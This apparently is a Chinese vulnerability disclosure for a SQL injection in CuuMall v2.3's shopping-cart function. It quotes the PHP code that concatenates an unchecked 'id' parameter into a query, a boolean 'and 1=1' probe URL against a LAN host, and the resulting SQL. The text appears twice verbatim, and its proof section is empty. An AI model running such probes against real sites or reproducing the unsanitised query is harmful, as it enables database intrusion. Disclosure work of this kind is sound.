### 简要描述: CuuMall sql注入漏洞 为啥要提出来 因为这里的逻辑和刚才那个不一样 刚才那个我怀疑是别人改了官网的下载文件,然而这个地方 就完全不一样了 ### 详细说明: 直接看代码: CarHeaderAction.class.php(51-67): ``` public function setaddmallcar( ) { $id = $_GET['id']; $id = str_ireplace( "%7c", "|", $id ); $pram = explode( "|", $id ); $id = $pram[0]."|".urldecode( $pram[1] ); $setmallcar = new MallcarAction( ); $snum = $setmallcar->redcar( ); $num = $snum[$id]; $addnum = $num + 1; $pro = new Model( "produc" ); $d_pro = $pro->where( "id=".$pram[0] )->find( ); if ( $d_pro['kucun'] <= 0 ) { $this->error( "对不起,库存不足不能购买!" ); exit( ); } if ( $d_pro['kucun'] < $addnum ) { $addnum = $d_pro['kucun']; } $setmallcar->addcar( $id, $addnum ); $this->redirect( "home/car" ); ``` 看到了没有 这里连根本的is_numberic函数都没有 直接发送url 192.168.10.70/cuumall_v2.3/v2.3/mall_upload/index.php/home/carheader/setaddmallcar/id/1 and 1=1 抓取后台sql语句: 2014/9/30 11:03SELECT * FROM `cuu_produc` WHERE id=1 and 1=1 LIMIT 1 .............. ### 漏洞证明:
### 简要描述: CuuMall sql注入漏洞 为啥要提出来 因为这里的逻辑和刚才那个不一样 刚才那个我怀疑是别人改了官网的下载文件,然而这个地方 就完全不一样了 ### 详细说明: 直接看代码: CarHeaderAction.class.php(51-67): ``` public function setaddmallcar( ) { $id = $_GET['id']; $id = str_ireplace( "%7c", "|", $id ); $pram = explode( "|", $id ); $id = $pram[0]."|".urldecode( $pram[1] ); $setmallcar = new MallcarAction( ); $snum = $setmallcar->redcar( ); $num = $snum[$id]; $addnum = $num + 1; $pro = new Model( "produc" ); $d_pro = $pro->where( "id=".$pram[0] )->find( ); if ( $d_pro['kucun'] <= 0 ) { $this->error( "对不起,库存不足不能购买!" ); exit( ); } if ( $d_pro['kucun'] < $addnum ) { $addnum = $d_pro['kucun']; } $setmallcar->addcar( $id, $addnum ); $this->redirect( "home/car" ); ``` 看到了没有 这里连根本的is_numberic函数都没有 直接发送url 192.168.10.70/cuumall_v2.3/v2.3/mall_upload/index.php/home/carheader/setaddmallcar/id/1 and 1=1 抓取后台sql语句: 2014/9/30 11:03SELECT * FROM `cuu_produc` WHERE id=1 and 1=1 LIMIT 1 .............. ### 漏洞证明: